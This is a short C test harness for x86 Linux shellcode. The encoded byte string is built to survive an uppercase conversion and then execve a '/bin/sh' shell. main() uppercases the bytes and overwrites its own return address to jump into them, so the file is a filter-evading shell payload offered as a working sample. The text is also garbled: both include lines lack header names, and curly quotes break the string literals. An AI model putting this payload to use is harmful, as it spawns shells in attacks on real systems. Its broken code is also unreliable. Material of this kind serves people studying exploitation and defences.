test.c
#include
#include
char shellcode[] =
"\xeb\x38\x5e”
“\x80\x46\x01\x50”
“\x80\x46\x02\x50”
“\x80\x46\x03\x50”
“\x80\x46\x05\x50”
“\x80\x46\x06\x50"
"\x89\xf0\x83\xc0\x08\x89\x46\x08”
"\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xc3\xdc\xff\xff\xff”
“\x2f\x12\x19\x1e\x2f\x23\x18”;
void main() {
int *ret;
ret = (int *)&ret + 2;
int i;
for(i=0;i<strlen(shellcode);i++)
shellcode[i]=toupper(shellcode[i]);
(*ret) = (int)shellcode;
}